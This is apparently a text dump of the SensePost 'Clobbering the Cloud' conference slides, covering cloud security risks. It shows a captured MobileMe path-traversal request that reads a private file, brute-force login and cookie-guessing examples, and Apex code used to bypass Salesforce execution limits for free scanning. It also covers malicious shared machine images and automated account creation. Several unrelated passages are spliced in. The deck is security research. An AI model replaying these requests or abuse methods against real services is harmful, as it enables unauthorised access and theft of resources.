Clobbering the Cloud!

{ haroon | marco | nick }  
@sensepost.com
about: us

{Nicholas Arvanitis | Marco Slaviero | Haroon Meer}
Why this talk?
This is not the time to split hairs
The LOUD in cLOUD security..

• A bunch of people are talking about “the cloud”
• There are large numbers of people who are immediately down on it:
  • “There is nothing new here”
  • “Same old, Same old”
• If we stand around splitting hairs, we risk missing something important..
So, what exactly *is* the Cloud?
Cloud delivery models
Why would we want to break it?

• It will be where the action is..
• Insidious the dark side is..
• Amazingly we are making some of the same old mistakes all over again
• We really don’t have to..
What is driving Cloud adoption?

• Management by in-flight magazine
  – Manager Version
  – Geek Version
• Poor history from IT
• Economy is down
  – Cost saving becomes more attractive
  – Cloud computing allows you to move from CAPEX to OPEX
  – (Private Clouds?)
A really attractive option

- EC2 is Cool!
- Like Crack..
Problems testing the Cloud
The problem, more than anything else, is a transparency issue. If customers had known that this sort of thing were possible, they would have spoken up against it -- but Amazon does offer clear descriptions of how the product works or what kinds of control the company itself has over it.

Why has Amazon been less transparent than Apple? Apple controls the whole system. System transparency is required to tell the third-party developers how the system works and how it might conflict with third-party applications. Alternatively, Amazon might have been more open, in the sense that they have a motive to avoid gratuitous changes that might annoy developers, because the Kindle offers less functionality than (say) a PC. Less functionality means fewer developers, and they might need as much information to protect themselves.

Going forward, Amazon will face more pressure from hardware manufacturers in the technology and the company’s relationship with Kindle buyers. It seems that e-books remain a key business area.

cloudsecurity.org: Trust is often cited as a barrier to enterprise adoption of Cloud Computing. What role do you personally think Google can play in building that trust?

cloudsecurity.org: How do you contain an attacker that exploits bugs in App Engine from exploiting the underlying OS and potentially interfering with other users processes or attacking backend systems?

GvR: You are correct that there are strong measures in place, but I’m not at liberty to discuss details.
“If its non-regulated data, go ahead and explore. If it is regulated, hold on. I have not run across anyone comfortable putting sensitive/regulated data in the cloud”

“doesn’t seem to be there as far as comfort level that security and audit aspects of that will stand up to scrutiny” (sic)

-- Tim Mather: RSA Security Strategist
Privacy and legal issues
Privacy

- Jim Dempsey (Center for Democracy and Technology): “Loss of 4th Amendment protection for US companies”
- A legal order (court) to serve data, can be used to obtain your data without any notification being served to you
- There is no legal obligation to even inform you it has been given
Simple solution...

Crypto Pixie Dust!

Would you trust crypto on an owned box?
Vendor Lock-in

• Pretty self-explanatory
• If your relationship dies, how do you get access to your data?
• Is it even your data?
Availability [Big guys fail too?]

We're performing routine maintenance & updating our site and will be back online shortly. This maintenance window will last from 6PM PDT to 9PM PDT. During this time, all your data is 100% secure.

Sorry for any inconvenience.

Read-only mode continues. Elevated latency and error-rates persist for Datstore reads. Memcache writes have been reenabled to better soak read-only load. Our engineering teams are looking into the root cause of the problem. Will post more information as soon as it's available.
Omnidrive is no longer available, we recommend NomaDesk

Welcome to NomaDesk. We develop document collaboration software for geographically dispersed professionals who need secure access to shared files daily. NomaDesk was founded in 2004 by Filip Tack, its current CEO, along with CTO Miguel De Buf and COO Peter Geldhof. Based in Gent, Belgium, the company is supported by Giriv, a European independent investment company. NomaDesk has offices and datacenters in the US and Europe.

We are not affiliated with Omnidrive. We feel compelled to maintain the domain name because we are convinced of the business value of a Software-as-a-Service to share, synchronize and backup business critical data. So do thousands of SMB customers that use NomaDesk on a daily basis. NomaDesk has and will be running its service for years to come. You are kindly invited to:

» Check out our product offering
» Download your 30 day free trial
» Contact customer support or a sales representative
Availability [not just uptime!]

• Account Lockout?
• “Malicious activity from your account”
Monoculture
Monoculture

- **MonocultureGate** is well known in our circles.
- Just viewing that pic resulted in a raised average IQ in this room.
- His (their) thesis:
  
  "A monoculture of networked computers is a convenient and susceptible reservoir of platforms from which to launch attacks; these attacks can and do cascade."

- Most people agreed with Dr Geer (et al) back then..
- Just because it's not Windows, doesn't mean the thesis disappears.
SmugMug Case Study

- Process 50+ terapixels per day
- Posterchild of AWS
- Heavy use of S3 and EC2
- Launched 1920 standard instances in one call
- You don’t get monoculture’er than ~2000 machines that are all copies of the same image..
- ASLR Fail .. ?
Extending your attack surface
While we’re talking about phishing...
Trust...

my trust

u loses it.
Epic Fail
Cloud #fail

- MediaMax Online Storage – inactive account purging script error whacked active customer accounts
- Nokia Ovi (like MobileMe) lost 3 weeks of customer data after crash
- Jan 2009 – SF.com customers couldn’t log in – “core network device failed with memory allocation errors”
But you have to trust someone!

<+ben> kostyas cloudbreak stuff really scares me

<+MH> its impressive for sure, but why would that scare you more than simple Amazon evilness ? (Malfeasance)

<+ben> You have to trust someone.. Just like how you trust Microsoft not to backdoor your OS, you trust Amazon not to screw you
Red Herring Alert!
Complete the popular phrase.

• Trust, but …………… !
• Reverse Engineers keep Microsoft honest
• (or at least raise the cost of possibly effective malfeasance)
• Even “pre-owned” hardware is relatively easy to spot (for some definition of easy)
• But how do we know that Amazon (or other big names) “Wont be evil”™
Crypto AG: The NSA's Trojan Whore?

by Wayne Madsen

For at least half a century, the US has been intercepting and decrypting the top secret documents of most of the world's governments.
Web Application Security

YOU'RE DOING IT WRONG
Using the Cloud..

For hax0r fun and profit:
– Dino Dai Zovi vs. Debian
– Ben Nagy vs. MS Office
– Dmolnar && Zynamics
DDZ vs Debian

1. Populate a distributed queue with strings describing which keys to generate
2. Launch 20 VMs (the default limit)
3. Fetch key descriptors from queue, generate batches of keys, and store in S3

524,288 RSA keys – 6 Hours - $16
Metafuzz “Harness”

Production 1
Production 2
...
Production n

Fuzz Server

/dev/shm (sqlite)
/fuzzfiles
detail-n.txt
crash-n.doc

Delivery 1
Delivery 2
...
Delivery n
Zynamics && DMolnar

- Zynamics use EC2 to demo software and classify malware, up to ~50k samples/day
- David Molnar and friends fuzz test Linux binaries, sift results and notify devs, all on EC2
Some of the players

[Images of various company logos, including Citrix, VMware, Akamai, Box, Google, Salesforce, IBM, Sun Microsystems, Flexiscale, Areti Internet, Amazon, IBM, HP, and Morph.]

[SensePost – 2009]
The ones we looked at...
Autoscaling / Usage costing

- Autoscaling is a great idea for companies.

Wall Street & Amazon EC2

3000 CPU’s for one firm’s risk management processes

300 CPU’s on weekends

Number of EC2 Instances

Wednesday 4/22/2009
Thursday 4/23/2009
Friday 4/24/2009
Saturday 4/25/2009
Sunday 4/26/2009
Monday 4/27/2009
Tuesday 4/28/2009
Can you spot the danger?
extern blog SensePost;

[SensePost – 2009]
Storage as a Service

• In most cases this is a really simple model
• Faster Internet tubes is making backing up over tubes reasonable
• Disk access anywhere is a nice idea
• All throw crypto-pixieDust-magic words in their marketing documents
• For good measure all throw in Web based GUI access
Web Apps
+
File Systems
Amazon EC2 Secure Wiping
SteekR Shared Space Notification

remote gives you access to a steekR shared space

You can see the details using this personalized link: http://www.steekr.com/x5b-y/shares/1193275142523207f3a1

steekR is a storage online service powered by Steek.

Welcome

My shared space

My Documents

Parent folder Select: All, None Sort by: Name View: 

</xssed>

xss attacks information

XSS Archive | XSS Archive ★ | TOP St

0 byte
13/8/2009 - 13:20
MobileMe: yourDisk is myDisk
by jrichards on Jul.03, 2009, under Uncategorized
This is a private file that lives outside the "Public folder". It should not be accessible from a Public folder.
POST /jeremy.richards-Public/"%2E%2E%2F/"?webdav-method=PROPFIND HTTP/1.1
Host: idisk.mac.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.11) Gecko/2009060214
.firefox/3.0.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Depth: 1
Content-Type: text/xml; charset=UTF-8
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 188

<?xml version="1.0" encoding="utf-8"?>
<D:propfind xmlns:D="DAV:"
<D:prop>
<D:getlastmodified/>
<D:getcontentlength/>
<D:resourcetype/>
<D:getcontenttype/>
</D:prop>
</D:propfind>
GET /jeremy.richards-Public/%2E%2FPRIVATE.txt?disposition=download+8300 HTTP/1.1
Host: idisk.mac.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7;*,q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://idisk.mac.com/jeremy.richards-Public?view=web
HTTP/1.1 200 OK
Server: AppleDiskServer-1E2012
x-responding-server: idiskng075
X-dmUser: jeremy.richards
ETag: "u-1g3s18hn-3e0p-1372yjpvf7-2b6d9rze2c0"
Last-Modified: Wed, 01 Jul 2009 15:37:03 GMT
Content-disposition: attachment;
Content-Type: text/plain
Content-Length: 114
Date: Wed, 01 Jul 2009 15:46:34 GMT
Connection: close

This is a private file that lives outside the "Public folder". It should not be accessible from a Public folder.
username=bob&password=cat

http://bank.com/login

<html>
<body>
...
Sorry! Please check your password and try again
...
</body>
</html>
username=bob&password=dog

http://bank.com/login

<html>
<body>
...
Sorry! Please check your password and try again
...
</body>
</html>
username=\texttt{bob} & password=\texttt{fish}

http://bank.com/login

\begin{verbatim}
<html>
<body>
...
Welcome Bob!
...
</body>
</html>
\end{verbatim}
username=bob&password=thiscannevereverberight

http://bank.com/login

<html>
<body>
...
Sorry! Please check your password and try again
...
</body>
</html>

Page-Sig: 0123984
username=\texttt{bob} & password=\texttt{fish}

http://bank.com/login

\begin{verbatim}
<html>
<body>
...
Sorry! Please check your password and try again
...
</body>
</html>
\end{verbatim}

Page-Sig: 0123984
Page-diff: 0.23213
username=bob\&password=dog

http://bank.com/login

Failed Login

Failed Login

Failed Login
GET /balance
Cookie: AAAAAAAAAAAAAAAAAAAAAAAAAAA

GET /balance
Cookie: AAAAAAAAAAAAAAAAAAAAAAAAAAB

GET /balance
Cookie: AAAAAAAAAAAAAAAAAAAAAAAAAAC

GET /balance
Cookie: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

Balance = $123342342423
SugarSync

The Prime Cloud Storage Solution
• file:///Users/haroon/Desktop/Vegas_Video/sugarsync/sugarsync-proj/sugarsync-proj.html

• Overview of sugarsync + normal password reset

• Ends with sample link..
Its Short, Brute & Declare Victory

?secret = for472gtb422
  = lower case alphanumeric
  = 35^12
  = Still a too big number 😞

Birthday Attack ?
  = 1.2 * sqrt(35^12)
  = Still a pretty big number
## We Have 2 Days..

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>single thread</td>
<td>1 hour</td>
<td>648</td>
</tr>
<tr>
<td></td>
<td>2 days</td>
<td>31104</td>
</tr>
<tr>
<td>10 threads</td>
<td></td>
<td>221472</td>
</tr>
<tr>
<td>10 machines</td>
<td></td>
<td>2 214 720</td>
</tr>
</tbody>
</table>

Wont they notice?
Saved (some pride)

[sugarsync vids]
PaaS
Actually..

- SF.com is both SaaS and PaaS
- We took a quick look at SaaS
- Good filtering, and held up well to cursory testing
- Why cursory?
- Ultimately, it *is* a web application..
Clickjack

[clickjack vid]
SalesForce back story

• 10 years old
• Initially web-based CRM software
  – 59 000 customers
  – $1 billion in revenue
• Distributed infrastructure was created to support CRM (SaaS, weeeeee!)
• Platform was exposed to architects and devs, for PaaS and IaaS
  – (Ambitious project with solid aims)
Salesforce business model

• Multi-tenant
  – Customers share infrastructure
  – Spread out across the world
• Subscription model
  – Scales with features and per-license cost
• Free dev accounts
  – More limited than paid-for orgs
• AppExchange
  – Third party apps (ala App Store)
Developing on Salesforce

```xml
<apex:page controller="PageIterator" showheader="false">
  <html>
    <head>
      <title>VisualForce Iterator</title>
    </head>
    <body>
      <h1>Page Content Follows (we don't expect to get here, btw)</h1>
      {!pageData}
    </body>
  </html>
</apex:page>
```

```java
public void nextLoop(Integer counter) {
  EmailIteratorObj_c o = [select id,counter_c from EmailIteratorObj_c where name='looper'][0];
  o.counter_c=counter;
  update o;
}

//called to initiate loop termination
public void endLoop(){
  insert new Message__c(MsgType__c=Messages.ENDLOOP);
}

//called right at the end of a set of loop iterations
public void cleanUp(){
  //clean out the email iterators objects
  for (List<EmailIteratorObj_c> o: [select id from EmailIteratorObj_c]){ delete o; }

  //clean out messages
  for (List<Message__c> o: [select id from Message__c]){ delete o; }
```
Other language features

- Make HTTP requests
- Bind classes to WS endpoints
- Can send mails
- Bind classes to mail endpoints
- Configure triggers on datastore activities
Multi-tenancy...

...an obvious problem for resource sharing
The Governor

• Each script execution is subject to strict limits
• Uncatchable exception issued when limits exceeded
• Limits based on entry point of code
• Limits applied to namespaces
  – Org gets limits
  – Certified apps get limits

Published Limits

1. Number of received mails
2. Running time
3. ???
Apex limitations

• Language focused on short bursts of execution
• Can’t easily alter SF configuration
  – Requires web interface interactions

• APIs short on parallel programming primitives
  – no explicit locks and very broad synchronisation
  – no real threads
  – no ability to pause execution
  – no explicit shared mem

• API call order important
Workarounds

```java
public static void sleep(Integer secs) {
    System.debug('Entered sleep(' + secs + ')');
    Datetime t1 = System.now();
    Datetime t2 = System.now();
    Double j, k = 2;
    while (t2.getTime() - t1.getTime() < secs*1000) {
        t2 = System.now();
        j = (Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(j)))))))))));
        k = (Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(Math.cbrt(j)))))))))));
    }
    System.debug('Leaving sleep()');
}
```

if (!secondary_thread) {
    // hack to detect when lock counter was changed while we waited for writelock.
    if (prior.locknum_c == lck.locknum_c) {
        // all looks good, let's first sleep to enforce a single thread of execution at the end of this time window
        Util.sleep(window);
        lck.locknum_c++; lck.locknum_c++;
        update lck;
        luckiness = true;
    }
    return luckiness;
}

• Threads?
Bypassing the governor

- Wanted more usage than permitted for a single user action
- Focused on creating event loops
  - Initial attempts focused on the callout feature and web services and then VisualForce pages (no dice)
  - Wanted to steer clear of third party interference
  - Settled on email
- Gave us many rounds (+-1500 a day) of execution with a single user action
- The job executed is up to the user's imagination
And so?
Sifto!

- Ported Nikto into the cloud as a simple e.g.
- Process
  - Class adds allowed endpoint through HTTP calls to SF web interface
  - Event loop kicked off against target
    - Each iteration performs ten tests
    - State simply inserted into datastore at end of ten tests
    - Trigger object inserted to fire off email for next iteration
    - Results returned via email as they are found

- Why?
  - Free!
  - Fast (for .za)
  - Anonymity
[sifto vid]
Pros / cons

• Pros
  – Fast(er) with more bandwidth
  – Free!
  – Capacity for DoS outweighs home user
  – How about SF DoS?

• Cons
  – Prone to monitoring
  – Custom language / platform
  – Technique governed by email limits
Sharding

- Accounts have limits
- Accounts are 0-cost
- Accounts can communicate
- How about chaining accounts?
  - Sounds good, need to auto-register
- CAPTCHA protects reg
  - Not a big issue
- Cool, now in possession of 200+ accounts!
  - (Also can locate either in AP or US)
- Clusters shared by paid-for and trial accounts… interesting…
Future Directions

• Sifto is a *really* basic POC hinting at possibilities
  – Turing complete, open field. Limited API though
• Platform is developing rapidly, future changes in this area will introduce new possibilities
  – Callouts in triggers for event loops
  – Reduction in limitations
  – Improvements in language and APIs
• Abstracted functionality on *aaS makes usage easier, but impact remains
• Security is transferred into hands of non-security aware C-levels, ouch.
• Rootkits
• Security community interaction
Yes...it’s that cool...
The Pieces (that we will touch)...

- EC2
- S3
- SQS
- DevPay

• What we ignore:
  - SimpleDB
  - Elastic IP
  - CloudFront
  - Elastic MapReduce
  - Mechanical Turk
EC2

Root access to a Linux machine in seconds..
Scalable costs..

Amazon EC2

EC2-US Region
us-east-1a
us-east-1b
us-east-1c

EC2-EU Region
eu-west-1a
eu-west-1b
S3

• Simple storage service
• Aws description of S3 – stored in buckets using unique keys
• Scalable data storage in-the-cloud
• Highly available and durable
• Pay-as-you-go pricing
Amazon S3

mculver-images
- Beach.jpg
- 2005/party/hat.jpg

media.mydomain.com
- img1.jpg
- img2.jpg

public.blueorigin.com
- index.html
- img/pic1.jpg
SQS

[SensePost – 2009]
When in doubt..

Copy Marco!

Can we steal computing resources from Amazon (or Amazon users?)

Sure we can..
Breakdown

Amazon provide 47 machine images that they built themselves.
Shared AMI gifts FTW!

- Bundled AMI’s + Forum Posts
- Vulnerable servers? Set_slice? SSHD?
- Scanning gets you booted.. We needed an alternative..
GhettoScan

(1) Generate List of All available AMI's

(2) Populate SQS with list of AMI's

(3) Attacker

S3

(5) (....)

(6) (....)

(7)
Results

s3 haroon$ grep High *.nsr | wc -l
1293

s3 haroon$ grep Critical *.nsr | wc -l
646
License Stealing
The updates are being downloaded and installed

Installation status:

- Downloading Security Update for Windows Server 2003 (KB924667) (update 4 of 50)... done!
- Downloading Cumulative Security Update for Outlook Express for Windows Server 2003 (KB929123) (update 5 of 50)... done!
- Downloading Security Update for Windows Media Player 6.4 (KB925398) (update 6 of 50)... done!
- Downloading Security Update for Windows Server 2003 (KB926122) (update 7 of 50)... done!
Why stop there?
AWS

[neek steal vid]
AWS as a single point of failure

- Availability is a huge selling point
- Some DoS attacks can’t be stopped. It’s simply using the service..
- But it does need to be considered..
But it is Amazon!!

- **Distributed Denial Of Service (DDoS) Attacks**: AWS API endpoints are hosted on the same Internet-scale, world class infrastructure that supports the Amazon.com retail site. Standard DDoS mitigation techniques such as syn cookies and connection limiting are used. To further mitigate the effect of potential DDoS attacks, Amazon maintains internal bandwidth which exceeds its provider-supplied Internet bandwidth.
and

- file:///Users/haroon/Desktop/Vegas_Video/ec2-multilogin/ec2-create-20-release/ec2-create-20-proj/ec2-create-20-proj.html
Twill Loving!

[ec2 account creation vid]
Scaling Registration?

3 minutes
Another way to steal machine time

If you plan to use a shared AMI, review the following table to confirm the AMI is not doing anything malicious.

**Launch Confirmation Process**

<table>
<thead>
<tr>
<th>Step</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Check the ssh authorized keys file. The only key in the file should be the key you used to launch the AMI.</td>
</tr>
<tr>
<td>2</td>
<td>Check open ports and running services.</td>
</tr>
<tr>
<td>3</td>
<td>Change the root password if is not randomized on startup. For more information on randomizing the root password on startup, see Disable Password-Based Logins for Root.</td>
</tr>
<tr>
<td>4</td>
<td>Check if ssh allows root password logins. See Disable Password-Based Logins for Root for more information on disabling root based password logins.</td>
</tr>
<tr>
<td>5</td>
<td>Check whether there are any other user accounts that might allow backdoor entry to your instance. Accounts with super user privileges are particularly dangerous.</td>
</tr>
<tr>
<td>6</td>
<td>Verify that all cron jobs are legitimate.</td>
</tr>
</tbody>
</table>
Really ?
Can we get people to run our image?

- Bundle an image
- Register the image (Amazon assigns it an AMI-ID)
- Wait for someone to run it
- Profit!
- Alas..
Can we get people to run our image?

Created image.part.118
Created image.part.119
Created image.part.120
Created image.part.121
Created image.part.122
Created image.part.123
Created image.part.124
Created image.part.125
Created image.part.126
Created image.part.127
Created image.part.128
Created image.part.129
Created image.part.130
Created image.part.131
Created image.part.132
Created image.part.133
Created image.part.134
Created image.part.135
Created image.part.136
Created image.part.137
Created image.part.138
Created image.part.139
Created image.part.140
Generating digests for each part...
Digests generated.
Unable to read instance meta-data for product-codes
Creating bundle manifest...
e2-bundle-vol complete.
[root@domU-12-31-39-00-B2-17 ~]#
Can we get people to run our image?

- Bundle an image
- Register the image (Amazon assigns it an AMI-ID)
- Wait for someone to run it
- Profit!
- Alas..
Register image, too high, race, top5
AMI creation

[registration racing vid]
• S3 + Image names are going to set off another name grab!
• Register image as Fedora?

[root@ec2box] # ec2-upload-bundle -b Fedora -m /tmp/image.manifest.xml -a secret -s secret

ERROR: Error talking to S3: Server.AccessDenied(403): Only the bucket owner can access this property
[root@ec2box] # ec2-upload-bundle -b fedora_core -m /tmp/image.manifest.xml -a secret -s secret

ERROR: Error talking to S3: Server.AccessDenied(403): Only the bucket owner can access this property
[root@ec2box] # ec2-upload-bundle -b redhat -m /tmp/image.manifest.xml -a secret -s secret

ERROR: Error talking to S3: Server.AccessDenied(403): Only the bucket owner can access this property
[root@ec2box] # ec2-upload-bundle –b fedora_core_11 –m /tmp/image.manifest.xml –a secret –s secret

Creating Bucket...
```
[haroon@blowfish ~]$ tail -f /var/log/httpd-ssl_error.log
```
Amazon Web Services Security

administer EC2 hosts, their privileges on and access to the bastion hosts are revoked.

**Guest Operating System**: Virtual instances are completely controlled by the customer. They have full root access and all administrative control over additional accounts, services, and applications. AWS administrators do not have access to customer instances, and cannot log into the guest OS. Customers should disable password-based access to their hosts and utilize token or key-based authentication to gain access to unprivileged accounts. Further, customers should employ a privilege escalation mechanism with logging on a per-user basis. For example, if the guest OS is Linux, utilize SSH with keys to access the virtual instance, enable shell command-line logging, and use the ‘sudo’ utility for privilege escalation. Customers should generate their own key pairs in order to guarantee that they are unique, and not shared with other customers or with AWS.

**Firewall**: Amazon EC2 provides a complete firewall solution; this mandatory inbound firewall is configured in a default deny mode and the Amazon EC2 customer must explicitly open any ports to allow inbound traffic. The traffic may be restricted by protocol, by service port, as well as by source IP address (individual IP or CIDR block).
Mobile me

• Apple sneaks into the cloud
• Makes sense long term, your music, video, * are belong to Steve Jobs
• Insidious
• iDisk, iMail, iCal, findmyPhone
Hacked by..
Used 0%, 75 GB available
Account password reset

• A hard problem to solve in the cloud..
• Forgot password → Nick
• All dressed up and nowhere to go?
• Is everyone as “easy” as Nick?
and so?

- Told ya it was insidious..
- We have been going lower and lower with trojans now living in firmware
- Will we notice the trojans so high up in the stack that follow us everywhere?
- We all looked down on XSS initially
Conclusions

• There are new problems to be solved (and some new solutions to old problems) with computing power on tap.
• Marrying infrastructure to web applications means that your enterprise now faces risks from both infrastructure dodgyness and bad web application code.
• Even if marrying *aaS to web applications makes sense, tying them to Web2.0 seems like a bad idea.
• Auditors need to start considering the new risks the new paradigm brings:
  • (negative) One more set of problems scanners cant find
  • (positive) job security++
• Computationally difficult is easily within reach of anyone with a Credit Card.
• We are getting moved into the cloud even if we don’t know it. (Making us vulnerable to the “lame attacks” even if we don’t rate them)
• Transparency and testing are going to be be key..
• WOZ is cool…
Questions?
(Videos/Slides/Tools)
http://www.sensepost.com/blog/
research@sensepost.com